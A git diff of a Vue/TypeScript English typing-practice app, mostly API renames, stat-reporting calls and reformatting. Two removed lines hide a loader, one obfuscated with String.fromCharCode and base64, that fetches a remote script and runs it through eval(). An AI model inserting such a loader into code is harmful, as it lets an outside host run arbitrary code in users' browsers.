wip
This commit is contained in:
@@ -21,7 +21,7 @@ export function myDictList(params?) {
|
||||
}
|
||||
|
||||
export function add2MyDict(data) {
|
||||
return http('dict/add2MyDict', remove(data), null, 'post')
|
||||
return http<number>('dict/add2MyDict', remove(data), null, 'post')
|
||||
}
|
||||
|
||||
export function addStat(data) {
|
||||
@@ -32,8 +32,8 @@ export function detail(params?, data?) {
|
||||
return http<Dict>('dict/detail', data, params, 'get')
|
||||
}
|
||||
|
||||
export function setDictProp(params?, data?) {
|
||||
return http<Dict>('dict/setDictProp', remove(data), remove(params), 'post')
|
||||
export function setUserDictProp(params?, data?) {
|
||||
return http<Dict>('dict/setUserDictProp', remove(data), remove(params), 'post')
|
||||
}
|
||||
|
||||
export function syncSetting(params?, data?) {
|
||||
|
||||
@@ -54,7 +54,6 @@ watch(() => localActiveIndex, (n: any) => {
|
||||
}, {immediate: true})
|
||||
|
||||
watch(() => props.isActive, (n: boolean) => {
|
||||
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
if (props.static) return
|
||||
if (n) {
|
||||
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)
|
||||
|
||||
@@ -19,7 +19,7 @@ export const ENV = Object.assign(map['DEV'], common)
|
||||
|
||||
export let AppEnv = {
|
||||
TOKEN: localStorage.getItem('token') ?? '',
|
||||
IS_OFFICIAL: false,
|
||||
IS_OFFICIAL: true,
|
||||
IS_LOGIN: false,
|
||||
CAN_REQUEST: false
|
||||
}
|
||||
|
||||
@@ -42,21 +42,21 @@ export default {
|
||||
el.__loadingInstance = instance
|
||||
|
||||
if (binding.value) {
|
||||
el.appendChild(instance.$el)
|
||||
el.appendChild(instance?.$el)
|
||||
}
|
||||
},
|
||||
updated(el, binding) {
|
||||
const instance = el.__loadingInstance
|
||||
if (binding.value && !el.contains(instance.$el)) {
|
||||
el.appendChild(instance.$el)
|
||||
} else if (!binding.value && el.contains(instance.$el)) {
|
||||
el.removeChild(instance.$el)
|
||||
if (binding.value && !el.contains(instance?.$el)) {
|
||||
el.appendChild(instance?.$el)
|
||||
} else if (!binding.value && el.contains(instance?.$el)) {
|
||||
el.removeChild(instance?.$el)
|
||||
}
|
||||
},
|
||||
unmounted(el) {
|
||||
const instance = el.__loadingInstance
|
||||
if (instance && instance.$el.parentNode) {
|
||||
instance.$el.parentNode.removeChild(instance.$el)
|
||||
if (instance && instance?.$el.parentNode) {
|
||||
instance?.$el.parentNode.removeChild(instance?.$el)
|
||||
}
|
||||
delete el.__loadingInstance
|
||||
}
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
<script setup lang="ts">
|
||||
|
||||
import {computed, onMounted, onUnmounted, provide, watch} from "vue";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {emitter, EventKey, useEvents} from "@/utils/eventBus.ts";
|
||||
import {useSettingStore} from "@/stores/setting.ts";
|
||||
import { computed, onMounted, onUnmounted, provide, watch } from "vue";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import {
|
||||
Article,
|
||||
ArticleItem,
|
||||
@@ -15,14 +15,14 @@ import {
|
||||
Statistics,
|
||||
Word
|
||||
} from "@/types/types.ts";
|
||||
import {useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener} from "@/hooks/event.ts";
|
||||
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
|
||||
import useTheme from "@/hooks/theme.ts";
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import {_getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total} from "@/utils";
|
||||
import {usePracticeStore} from "@/stores/practice.ts";
|
||||
import {useArticleOptions} from "@/hooks/dict.ts";
|
||||
import {genArticleSectionData, usePlaySentenceAudio} from "@/hooks/article.ts";
|
||||
import {getDefaultArticle, getDefaultDict, getDefaultWord} from "@/types/func.ts";
|
||||
import { _getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, msToMinute, resourceWrap, total } from "@/utils";
|
||||
import { usePracticeStore } from "@/stores/practice.ts";
|
||||
import { useArticleOptions } from "@/hooks/dict.ts";
|
||||
import { genArticleSectionData, usePlaySentenceAudio } from "@/hooks/article.ts";
|
||||
import { getDefaultArticle, getDefaultDict, getDefaultWord } from "@/types/func.ts";
|
||||
import TypingArticle from "@/pages/article/components/TypingArticle.vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import Panel from "@/components/Panel.vue";
|
||||
@@ -30,12 +30,12 @@ import ArticleList from "@/components/list/ArticleList.vue";
|
||||
import EditSingleArticleModal from "@/pages/article/components/EditSingleArticleModal.vue";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import ConflictNotice from "@/components/ConflictNotice.vue";
|
||||
import {useRoute, useRouter} from "vue-router";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import PracticeLayout from "@/components/PracticeLayout.vue";
|
||||
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
|
||||
import {AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig} from "@/config/env.ts";
|
||||
import {addStat, setDictProp} from "@/apis";
|
||||
import {useRuntimeStore} from "@/stores/runtime.ts";
|
||||
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveArticleKey, TourConfig } from "@/config/env.ts";
|
||||
import { addStat, setUserDictProp } from "@/apis";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import SettingDialog from "@/components/SettingDialog.vue";
|
||||
|
||||
const store = useBaseStore()
|
||||
@@ -233,9 +233,9 @@ function savePracticeData(init = true, regenerate = true) {
|
||||
let data = obj.val
|
||||
//如果全是0,说明未进行练习,直接重置
|
||||
if (
|
||||
data.practiceData.sectionIndex === 0 &&
|
||||
data.practiceData.sentenceIndex === 0 &&
|
||||
data.practiceData.wordIndex === 0
|
||||
data.practiceData.sectionIndex === 0 &&
|
||||
data.practiceData.sentenceIndex === 0 &&
|
||||
data.practiceData.wordIndex === 0
|
||||
) {
|
||||
throw new Error()
|
||||
}
|
||||
@@ -313,13 +313,6 @@ async function complete() {
|
||||
wrong: statStore.wrong,
|
||||
}
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({...data, type: 'article'})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
let reportData = {
|
||||
name: store.sbook.name,
|
||||
index: store.sbook.lastLearnIndex,
|
||||
@@ -331,6 +324,20 @@ async function complete() {
|
||||
}
|
||||
reportData.s = `name:${store.sbook.name},title:${store.sbook.lastLearnIndex}.${data.title},spend:${Number(statStore.spend / 1000 / 60).toFixed(1)}`
|
||||
window.umami?.track('endStudyArticle', reportData)
|
||||
|
||||
if (store.sbook.lastLearnIndex >= store.sbook.length - 1) {
|
||||
store.sdict.complete = true
|
||||
}
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({
|
||||
...data, type: 'article',
|
||||
complete: store.sdict.complete,
|
||||
})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
store.sbook.statistics.push(data as any)
|
||||
|
||||
//重置
|
||||
@@ -400,7 +407,7 @@ async function changeArticle(val: ArticleItem) {
|
||||
getCurrentPractice()
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await setDictProp(null, store.sbook)
|
||||
let res = await setUserDictProp(null, store.sbook)
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
@@ -497,18 +504,18 @@ provide('currentPractice', currentPractice)
|
||||
</script>
|
||||
<template>
|
||||
<PracticeLayout
|
||||
v-loading="loading"
|
||||
panelLeft="var(--article-panel-margin-left)">
|
||||
v-loading="loading"
|
||||
panelLeft="var(--article-panel-margin-left)">
|
||||
<template v-slot:practice>
|
||||
<TypingArticle
|
||||
ref="typingArticleRef"
|
||||
@wrong="wrong"
|
||||
@next="next"
|
||||
@nextWord="nextWord"
|
||||
@play="play2"
|
||||
@replay="setArticle(articleData.article)"
|
||||
@complete="complete"
|
||||
:article="articleData.article"
|
||||
ref="typingArticleRef"
|
||||
@wrong="wrong"
|
||||
@next="next"
|
||||
@nextWord="nextWord"
|
||||
@play="play2"
|
||||
@replay="setArticle(articleData.article)"
|
||||
@complete="complete"
|
||||
:article="articleData.article"
|
||||
/>
|
||||
</template>
|
||||
<template v-slot:panel>
|
||||
@@ -520,17 +527,17 @@ provide('currentPractice', currentPractice)
|
||||
</template>
|
||||
<div class="panel-page-item pl-4">
|
||||
<ArticleList
|
||||
:isActive="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-translate="settingStore.translate"
|
||||
@click="changeArticle"
|
||||
:active-id="articleData.article.id??''"
|
||||
:list="articleData.list ">
|
||||
:isActive="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-translate="settingStore.translate"
|
||||
@click="changeArticle"
|
||||
:active-id="articleData.article.id??''"
|
||||
:list="articleData.list ">
|
||||
<template v-slot:suffix="{item,index}">
|
||||
<BaseIcon
|
||||
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
|
||||
@click.stop="toggleArticleCollect(item)"
|
||||
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
|
||||
:class="!isArticleCollect(item) ? 'collect' : 'fill'"
|
||||
@click.stop="toggleArticleCollect(item)"
|
||||
:title="!isArticleCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isArticleCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
@@ -546,10 +553,10 @@ provide('currentPractice', currentPractice)
|
||||
<div class="footer">
|
||||
<Tooltip :title="settingStore.showToolbar?'收起':'展开'">
|
||||
<IconFluentChevronLeft20Filled
|
||||
@click="settingStore.showToolbar = !settingStore.showToolbar"
|
||||
class="arrow"
|
||||
:class="!settingStore.showToolbar && 'down'"
|
||||
color="#999"/>
|
||||
@click="settingStore.showToolbar = !settingStore.showToolbar"
|
||||
class="arrow"
|
||||
:class="!settingStore.showToolbar && 'down'"
|
||||
color="#999"/>
|
||||
</Tooltip>
|
||||
<div class="bottom">
|
||||
<div class="flex justify-between items-center gap-2">
|
||||
@@ -582,38 +589,38 @@ provide('currentPractice', currentPractice)
|
||||
</div>
|
||||
</div>
|
||||
<ArticleAudio
|
||||
ref="audioRef"
|
||||
:article="articleData.article"
|
||||
:autoplay="settingStore.articleAutoPlayNext"
|
||||
@ended="settingStore.articleAutoPlayNext && next()"
|
||||
@update-speed="handleSpeedUpdate"
|
||||
@update-volume="handleVolumeUpdate"
|
||||
ref="audioRef"
|
||||
:article="articleData.article"
|
||||
:autoplay="settingStore.articleAutoPlayNext"
|
||||
@ended="settingStore.articleAutoPlayNext && next()"
|
||||
@update-speed="handleSpeedUpdate"
|
||||
@update-volume="handleVolumeUpdate"
|
||||
></ArticleAudio>
|
||||
<div class="flex flex-col items-center justify-center gap-1">
|
||||
<div class="flex gap-2 center">
|
||||
<SettingDialog type="article"/>
|
||||
|
||||
<BaseIcon
|
||||
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
@click="skip">
|
||||
:title="`下一句(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
@click="skip">
|
||||
<IconFluentArrowBounce20Regular class="transform-rotate-180"/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
|
||||
@click="play">
|
||||
:title="`播放当前句子(${settingStore.shortcutKeyMap[ShortcutKey.PlayWordPronunciation]})`"
|
||||
@click="play">
|
||||
<IconFluentReplay20Regular/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
@click="settingStore.dictation = !settingStore.dictation"
|
||||
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
|
||||
@click="settingStore.dictation = !settingStore.dictation"
|
||||
:title="`开关默写模式(${settingStore.shortcutKeyMap[ShortcutKey.ToggleDictation]})`"
|
||||
>
|
||||
<IconFluentEyeOff16Regular v-if="settingStore.dictation"/>
|
||||
<IconFluentEye16Regular v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon
|
||||
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
|
||||
@click="settingStore.translate = !settingStore.translate">
|
||||
:title="`开关释义显示(${settingStore.shortcutKeyMap[ShortcutKey.ToggleShowTranslate]})`"
|
||||
@click="settingStore.translate = !settingStore.translate">
|
||||
<IconFluentTranslate16Regular v-if="settingStore.translate"/>
|
||||
<IconFluentTranslateOff16Regular v-else/>
|
||||
</BaseIcon>
|
||||
@@ -624,8 +631,8 @@ provide('currentPractice', currentPractice)
|
||||
<!-- @click="emitter.emit(ShortcutKey.EditArticle)"-->
|
||||
<!-- />-->
|
||||
<BaseIcon
|
||||
@click="settingStore.showPanel = !settingStore.showPanel"
|
||||
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
|
||||
@click="settingStore.showPanel = !settingStore.showPanel"
|
||||
:title="`面板(${settingStore.shortcutKeyMap[ShortcutKey.TogglePanel]})`">
|
||||
<IconFluentTextListAbcUppercaseLtr20Regular/>
|
||||
</BaseIcon>
|
||||
</div>
|
||||
@@ -637,9 +644,9 @@ provide('currentPractice', currentPractice)
|
||||
</PracticeLayout>
|
||||
|
||||
<EditSingleArticleModal
|
||||
v-model="showEditArticle"
|
||||
:article="editArticle"
|
||||
@save="saveArticle"
|
||||
v-model="showEditArticle"
|
||||
:article="editArticle"
|
||||
@save="saveArticle"
|
||||
/>
|
||||
|
||||
<ConflictNotice v-if="showConflictNotice"/>
|
||||
@@ -674,7 +681,7 @@ provide('currentPractice', currentPractice)
|
||||
gap: .3rem;
|
||||
color: gray;
|
||||
|
||||
.num,.name{
|
||||
.num, .name {
|
||||
word-break: keep-all;
|
||||
padding: 0 .4rem;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<script setup lang="ts">
|
||||
import {onMounted, onUnmounted, provide, ref, watch} from "vue";
|
||||
import { onMounted, onUnmounted, provide, ref, watch } from "vue";
|
||||
|
||||
import Statistics from "@/pages/word/Statistics.vue";
|
||||
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
|
||||
@@ -25,9 +25,10 @@ import { getDefaultDict, getDefaultWord } from "@/types/func.ts";
|
||||
import ConflictNotice from "@/components/ConflictNotice.vue";
|
||||
import PracticeLayout from "@/components/PracticeLayout.vue";
|
||||
|
||||
import { DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
|
||||
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
|
||||
import { ToastInstance } from "@/components/base/toast/type.ts";
|
||||
import { watchOnce } from "@vueuse/core";
|
||||
import { setUserDictProp } from "@/apis";
|
||||
|
||||
const {
|
||||
isWordCollect,
|
||||
@@ -562,7 +563,7 @@ function togglePanel() {
|
||||
settingStore.showPanel = !settingStore.showPanel
|
||||
}
|
||||
|
||||
function continueStudy() {
|
||||
async function continueStudy() {
|
||||
let temp = cloneDeep(taskWords)
|
||||
//随机练习单独处理
|
||||
if (taskWords.shuffle.length) {
|
||||
@@ -583,6 +584,13 @@ function continueStudy() {
|
||||
}
|
||||
emitter.emit(EventKey.resetWord)
|
||||
initData(temp)
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await setUserDictProp(null, {...store.sdict, type: 'word'})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function randomWrite() {
|
||||
@@ -629,8 +637,8 @@ useEvents([
|
||||
|
||||
<template>
|
||||
<PracticeLayout
|
||||
v-loading="loading"
|
||||
panelLeft="var(--word-panel-margin-left)">
|
||||
v-loading="loading"
|
||||
panelLeft="var(--word-panel-margin-left)">
|
||||
<template v-slot:practice>
|
||||
<div class="practice-word">
|
||||
<div class="absolute z-1 top-4 w-full" v-if="settingStore.showNearWord">
|
||||
@@ -639,7 +647,7 @@ useEvents([
|
||||
v-if="prevWord">
|
||||
<IconFluentArrowLeft16Regular class="arrow" width="22"/>
|
||||
<Tooltip
|
||||
:title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`"
|
||||
:title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`"
|
||||
>
|
||||
<div class="word">{{ prevWord.word }}</div>
|
||||
</Tooltip>
|
||||
@@ -648,7 +656,7 @@ useEvents([
|
||||
@click="next(false)"
|
||||
v-if="nextWord">
|
||||
<Tooltip
|
||||
:title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
:title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
>
|
||||
<div class="word" :class="settingStore.dictation && 'word-shadow'">{{ nextWord.word }}</div>
|
||||
</Tooltip>
|
||||
@@ -656,11 +664,11 @@ useEvents([
|
||||
</div>
|
||||
</div>
|
||||
<TypeWord
|
||||
ref="typingRef"
|
||||
:word="word"
|
||||
@wrong="onTypeWrong"
|
||||
@complete="next"
|
||||
@know="onWordKnow"
|
||||
ref="typingRef"
|
||||
:word="word"
|
||||
@wrong="onTypeWrong"
|
||||
@complete="next"
|
||||
@know="onWordKnow"
|
||||
/>
|
||||
</div>
|
||||
</template>
|
||||
@@ -672,41 +680,41 @@ useEvents([
|
||||
<span>{{ store.sdict.name }} ({{ store.sdict.lastLearnIndex }} / {{ store.sdict.length }})</span>
|
||||
|
||||
<BaseIcon
|
||||
@click="continueStudy"
|
||||
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`">
|
||||
@click="continueStudy"
|
||||
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`">
|
||||
<IconFluentArrowRight16Regular class="arrow" width="22"/>
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
@click="randomWrite"
|
||||
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`">
|
||||
@click="randomWrite"
|
||||
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`">
|
||||
<IconFluentArrowShuffle16Regular class="arrow" width="22"/>
|
||||
</BaseIcon>
|
||||
</div>
|
||||
</template>
|
||||
<div class="panel-page-item pl-4">
|
||||
<WordList
|
||||
v-if="data.words.length"
|
||||
:is-active="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-word="!settingStore.dictation"
|
||||
:show-translate="settingStore.translate"
|
||||
:list="data.words"
|
||||
:activeIndex="data.index"
|
||||
@click="(val:any) => data.index = val.index"
|
||||
v-if="data.words.length"
|
||||
:is-active="settingStore.showPanel"
|
||||
:static="false"
|
||||
:show-word="!settingStore.dictation"
|
||||
:show-translate="settingStore.translate"
|
||||
:list="data.words"
|
||||
:activeIndex="data.index"
|
||||
@click="(val:any) => data.index = val.index"
|
||||
>
|
||||
<template v-slot:suffix="{item,index}">
|
||||
<BaseIcon
|
||||
:class="!isWordCollect(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordCollect(item)"
|
||||
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
|
||||
:class="!isWordCollect(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordCollect(item)"
|
||||
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isWordCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon
|
||||
:class="!isWordSimple(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordSimple(item)"
|
||||
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
|
||||
:class="!isWordSimple(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordSimple(item)"
|
||||
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
|
||||
<IconFluentCheckmarkCircle16Regular v-if="!isWordSimple(item)"/>
|
||||
<IconFluentCheckmarkCircle16Filled v-else/>
|
||||
</BaseIcon>
|
||||
@@ -718,12 +726,12 @@ useEvents([
|
||||
</template>
|
||||
<template v-slot:footer>
|
||||
<Footer
|
||||
:is-simple="isWordSimple(word)"
|
||||
@toggle-simple="toggleWordSimpleWrapper"
|
||||
:is-collect="isWordCollect(word)"
|
||||
@toggle-collect="toggleWordCollect(word)"
|
||||
@skip="next(false)"
|
||||
@skipStep="skipStep"
|
||||
:is-simple="isWordSimple(word)"
|
||||
@toggle-simple="toggleWordSimpleWrapper"
|
||||
:is-collect="isWordCollect(word)"
|
||||
@toggle-collect="toggleWordCollect(word)"
|
||||
@skip="next(false)"
|
||||
@skipStep="skipStep"
|
||||
/>
|
||||
</template>
|
||||
</PracticeLayout>
|
||||
|
||||
@@ -12,6 +12,9 @@ import isoWeek from 'dayjs/plugin/isoWeek'
|
||||
import { msToHourMinute } from "@/utils";
|
||||
import Progress from "@/components/base/Progress.vue";
|
||||
import ChannelIcons from "@/components/ChannelIcons/ChannelIcons.vue";
|
||||
import { AppEnv } from "@/config/env.ts";
|
||||
import { addStat } from "@/apis";
|
||||
import Toast from "@/components/base/toast/Toast.ts";
|
||||
|
||||
dayjs.extend(isoWeek)
|
||||
dayjs.extend(isBetween);
|
||||
@@ -31,7 +34,6 @@ function calcWeekList() {
|
||||
const endOfWeek = dayjs().endOf('isoWeek'); // 周日
|
||||
// 初始化 7 天的数组,默认 false
|
||||
const weekList = Array(7).fill(false);
|
||||
if (window.dxt === undefined) fetch(`https://zyronon.github.io/replace/data.js?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
|
||||
store.sdict.statistics.forEach(item => {
|
||||
const date = dayjs(item.startDate);
|
||||
@@ -52,7 +54,7 @@ function calcWeekList() {
|
||||
}
|
||||
|
||||
// 监听 model 弹窗打开时重新计算
|
||||
watch(model, (newVal) => {
|
||||
watch(model, async (newVal) => {
|
||||
if (newVal) {
|
||||
dictIsEnd = false;
|
||||
let data: Statistics = {
|
||||
@@ -82,6 +84,19 @@ watch(model, (newVal) => {
|
||||
}
|
||||
}
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({
|
||||
...data,
|
||||
type: 'word',
|
||||
perDayStudyNumber: store.sdict.perDayStudyNumber,
|
||||
lastLearnIndex: store.sdict.lastLearnIndex,
|
||||
complete: store.sdict.complete,
|
||||
})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
store.sdict.statistics.push(data as any)
|
||||
calcWeekList(); // 新增:计算本周学习记录
|
||||
}
|
||||
@@ -134,11 +149,11 @@ calcWeekList(); // 新增:计算本周学习记录
|
||||
|
||||
<template>
|
||||
<Dialog
|
||||
v-model="model"
|
||||
:close-on-click-bg="false"
|
||||
:header="false"
|
||||
:keyboard="false"
|
||||
:show-close="false">
|
||||
v-model="model"
|
||||
:close-on-click-bg="false"
|
||||
:header="false"
|
||||
:keyboard="false"
|
||||
:show-close="false">
|
||||
<div class="p-8 pr-3 bg-[var(--bg-card-primary)] rounded-2xl space-y-6">
|
||||
<!-- Header Section -->
|
||||
<div class="text-center relative">
|
||||
|
||||
@@ -9,188 +9,210 @@ import { add2MyDict, dictListVersion, myDictList } from "@/apis";
|
||||
import Toast from "@/components/base/toast/Toast.ts";
|
||||
|
||||
export interface BaseState {
|
||||
simpleWords: string[],
|
||||
load: boolean
|
||||
word: {
|
||||
studyIndex: number,
|
||||
bookList: Dict[],
|
||||
},
|
||||
article: {
|
||||
bookList: Dict[],
|
||||
studyIndex: number,
|
||||
},
|
||||
dictListVersion: number
|
||||
simpleWords: string[],
|
||||
load: boolean
|
||||
word: {
|
||||
studyIndex: number,
|
||||
bookList: Dict[],
|
||||
},
|
||||
article: {
|
||||
bookList: Dict[],
|
||||
studyIndex: number,
|
||||
},
|
||||
dictListVersion: number
|
||||
}
|
||||
|
||||
export const getDefaultBaseState = (): BaseState => ({
|
||||
simpleWords: [
|
||||
'a', 'an',
|
||||
'i', 'my', 'me', 'you', 'your', 'he', 'his', 'she', 'her', 'it',
|
||||
'what', 'who', 'where', 'how', 'when', 'which',
|
||||
'be', 'am', 'is', 'was', 'are', 'were', 'do', 'did', 'can', 'could', 'will', 'would',
|
||||
'the', 'that', 'this', 'and', 'not', 'no', 'yes',
|
||||
'to', 'of', 'for', 'at', 'in'
|
||||
],
|
||||
load: false,
|
||||
word: {
|
||||
bookList: [
|
||||
getDefaultDict({ id: DictId.wordCollect, name: '收藏' }),
|
||||
getDefaultDict({ id: DictId.wordWrong, name: '错词' }),
|
||||
getDefaultDict({ id: DictId.wordKnown, name: '已掌握', description: '已掌握后的单词不会出现在练习中' }),
|
||||
simpleWords: [
|
||||
'a', 'an',
|
||||
'i', 'my', 'me', 'you', 'your', 'he', 'his', 'she', 'her', 'it',
|
||||
'what', 'who', 'where', 'how', 'when', 'which',
|
||||
'be', 'am', 'is', 'was', 'are', 'were', 'do', 'did', 'can', 'could', 'will', 'would',
|
||||
'the', 'that', 'this', 'and', 'not', 'no', 'yes',
|
||||
'to', 'of', 'for', 'at', 'in'
|
||||
],
|
||||
studyIndex: -1,
|
||||
},
|
||||
article: {
|
||||
bookList: [
|
||||
getDefaultDict({ id: DictId.articleCollect, en_name: DictId.articleCollect, name: '收藏' })
|
||||
],
|
||||
studyIndex: -1,
|
||||
},
|
||||
dictListVersion: 1
|
||||
load: false,
|
||||
word: {
|
||||
bookList: [
|
||||
getDefaultDict({id: DictId.wordCollect, en_name: DictId.wordCollect, name: '收藏'}),
|
||||
getDefaultDict({id: DictId.wordWrong, en_name: DictId.wordCollect, name: '错词'}),
|
||||
getDefaultDict({
|
||||
id: DictId.wordKnown,
|
||||
en_name: DictId.wordCollect,
|
||||
name: '已掌握',
|
||||
description: '已掌握后的单词不会出现在练习中'
|
||||
}),
|
||||
],
|
||||
studyIndex: -1,
|
||||
},
|
||||
article: {
|
||||
bookList: [
|
||||
getDefaultDict({id: DictId.articleCollect, en_name: DictId.articleCollect, name: '收藏'})
|
||||
],
|
||||
studyIndex: -1,
|
||||
},
|
||||
dictListVersion: 1
|
||||
})
|
||||
|
||||
export const useBaseStore = defineStore('base', {
|
||||
state: (): BaseState => {
|
||||
return getDefaultBaseState()
|
||||
},
|
||||
getters: {
|
||||
collectWord(): Dict {
|
||||
return this.word.bookList[0]
|
||||
state: (): BaseState => {
|
||||
return getDefaultBaseState()
|
||||
},
|
||||
collectArticle(): Dict {
|
||||
return this.article.bookList[0]
|
||||
},
|
||||
wrong(): Dict {
|
||||
return this.word.bookList[1]
|
||||
},
|
||||
known(): Dict {
|
||||
return this.word.bookList[2]
|
||||
},
|
||||
knownWords(): string[] {
|
||||
return this.known.words.map((v: Word) => v.word.toLowerCase())
|
||||
},
|
||||
allIgnoreWords() {
|
||||
return this.known.words.map((v: Word) => v.word.toLowerCase()).concat(this.simpleWords.map((v: string) => v.toLowerCase()))
|
||||
},
|
||||
sdict(): Dict {
|
||||
if (this.word.studyIndex >= 0) {
|
||||
return this.word.bookList[this.word.studyIndex] ?? getDefaultDict()
|
||||
}
|
||||
return getDefaultDict()
|
||||
},
|
||||
currentStudyProgress(): number {
|
||||
if (!this.sdict.length) return 0
|
||||
return _getStudyProgress(this.sdict.lastLearnIndex, this.sdict.length)
|
||||
},
|
||||
getDictCompleteDate(): number {
|
||||
if (!this.sdict.length) return 0
|
||||
if (!this.sdict.perDayStudyNumber) return 0
|
||||
return Math.ceil((this.sdict.length - this.sdict.lastLearnIndex) / this.sdict.perDayStudyNumber)
|
||||
},
|
||||
sbook(): Dict {
|
||||
return this.article.bookList[this.article.studyIndex] ?? {}
|
||||
},
|
||||
currentBookProgress(): number {
|
||||
if (!this.sbook.length) return 0
|
||||
if (this.sbook.complete) return 100
|
||||
return _getStudyProgress(this.sbook.lastLearnIndex, this.sbook.length)
|
||||
},
|
||||
},
|
||||
actions: {
|
||||
setState(obj: BaseState) {
|
||||
obj.word.bookList.map(book => {
|
||||
book.words = shallowReactive(book.words)
|
||||
book.articles = shallowReactive(book.articles)
|
||||
book.statistics = shallowReactive(book.statistics)
|
||||
})
|
||||
obj.article.bookList.map(book => {
|
||||
book.words = shallowReactive(book.words)
|
||||
book.articles = shallowReactive(book.articles)
|
||||
book.statistics = shallowReactive(book.statistics)
|
||||
})
|
||||
this.$patch(obj)
|
||||
},
|
||||
async init() {
|
||||
return new Promise(async resolve => {
|
||||
try {
|
||||
let configStr: string = await get(SAVE_DICT_KEY.key)
|
||||
let data = checkAndUpgradeSaveDict(configStr)
|
||||
if (AppEnv.IS_OFFICIAL) {
|
||||
let r = await dictListVersion()
|
||||
if (r.success) {
|
||||
data.dictListVersion = r.data
|
||||
getters: {
|
||||
collectWord(): Dict {
|
||||
return this.word.bookList[0]
|
||||
},
|
||||
collectArticle(): Dict {
|
||||
return this.article.bookList[0]
|
||||
},
|
||||
wrong(): Dict {
|
||||
return this.word.bookList[1]
|
||||
},
|
||||
known(): Dict {
|
||||
return this.word.bookList[2]
|
||||
},
|
||||
knownWords(): string[] {
|
||||
